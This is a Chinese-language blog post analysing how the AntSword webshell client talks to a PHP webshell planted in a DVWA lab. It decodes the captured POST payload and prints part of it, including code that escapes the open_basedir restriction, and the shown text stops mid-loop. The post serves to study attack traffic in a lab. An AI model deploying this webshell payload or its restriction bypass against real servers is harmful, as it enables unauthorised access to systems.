中国蚁剑的工作原理

原创

已于 2023-01-12 14:02:53 修改 · 2.6k 阅读

20 ·

CC 4.0 BY-SA版权

文章标签：

#中国蚁剑

于 2023-01-12 13:50:56 首次发布

文章详细解析了一段PHP后门代码，首先介绍了如何使用蚁剑进行连接，并通过Wireshark捕获网络流量。接着，对代码进行了逐行解释，涉及@ini_set、set_time_limit等函数，以及文件系统操作和权限绕过。最后，展示了如何读取并执行远程文件，揭示了黑客可能的攻击手段。

中国蚁剑连接http://192.168.11.157/dvwa/hackable/uploads/pass.php

蚁剑连接并同时用wireshark抓取流量

1274 行，追踪tcp流

因为我们的php.php内容是 $_POST['pass']，所以这里是post了一个pass参数，后面跟上了命令。通过站长工具-URL解码/编码 (wetimer.com)url解码、PHP格式化,在线美化PHP代码-站长工具 (senlt.cn)看一下：

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) {
            continue;
        };
        $tmdir=$item."/.4044a0d3a48";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) {
            continue;
        }
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\//",$tmdir);
        for ($i=0;$i<